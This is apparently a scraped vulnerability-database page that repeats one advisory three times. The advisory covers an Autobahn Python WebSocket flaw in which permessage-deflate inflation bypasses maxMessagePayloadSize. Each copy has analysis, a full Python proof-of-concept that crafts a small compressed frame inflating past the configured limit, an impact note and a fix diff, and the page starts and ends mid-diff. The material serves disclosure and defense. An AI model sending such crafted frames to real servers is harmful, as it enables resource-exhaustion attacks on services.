+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Sep 10, 2019

19.7.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jul 24, 2019

19.6.2 patch

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Affected versions


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.4


          0.11.0


          0.11.1


          0.11.2


          0.12.1


          0.13.0


          0.13.1


          0.13.2

+ 97 more


            0.14.0


            0.15.0


            0.8.1


            0.8.2


            0.8.3


            0.9.0


            0.9.0-2


            0.9.0-3


            0.9.0-4


            0.9.0-5


            0.9.0-6


            0.9.0-7


            0.9.1


            0.9.10


            0.9.11


            0.9.12


            0.9.12-2


            0.9.2


            0.9.3


            0.9.4


            0.9.4-2


            0.9.4-3


            0.9.5


            0.9.6


            0.9.6-2


            0.9.7


            0.9.7-2


            0.9.7-3


            0.9.7-4


            0.9.7-5


            0.9.7-6


            0.9.8


            0.9.8-2


            0.9.8-3


            0.9.8-4


            0.9.8-5


            0.9.9


            16.10.0


            16.10.1


            17.10.1


            17.11.1


            17.12.1


            17.2.1


            17.3.1


            17.5.1


            17.6.1.post3


            17.8.1.post1


            17.9.1


            17.9.2


            18.10.1.post1


            18.11.1


            18.11.2


            18.12.1


            18.3.1


            18.4.1


            18.5.1


            18.5.2


            18.6.1


            18.7.1


            18.7.2


            18.9.2


            19.1.1


            19.1.2


            19.10.1


            19.11.1


            19.2.1


            19.3.1


            19.3.5


            19.5.1


            19.6.1


            19.6.2


            19.7.1


            19.9.1


            20.1.1


            20.1.2


            20.12.1


            20.12.2


            20.12.3


            20.2.1


            20.4.1


            20.4.2


            20.6.1


            20.6.2


            20.7.1


            20.8.1


            21.1.1


            21.2.1


            21.3.1


            22.1.1


            22.2.1


            22.3.1


            22.4.1


            22.5.1


            22.6.1


            25.12.1


            26.4.1.dev1


            26.6.1

Fixed in


          26.7.1

References

Updated Oct 01, 2026 · Source: OSV.dev

Jun 16, 2019

19.6.1 minor

1 CVE

CVE-2026-77528 PYSEC-2026-4031 GHSA-hxp9-w8x3-p566 PYSEC-2026-4027 Oct 01, 2026

Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

5.3 / 10

Medium

Network Low None None Unchanged None None Low

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
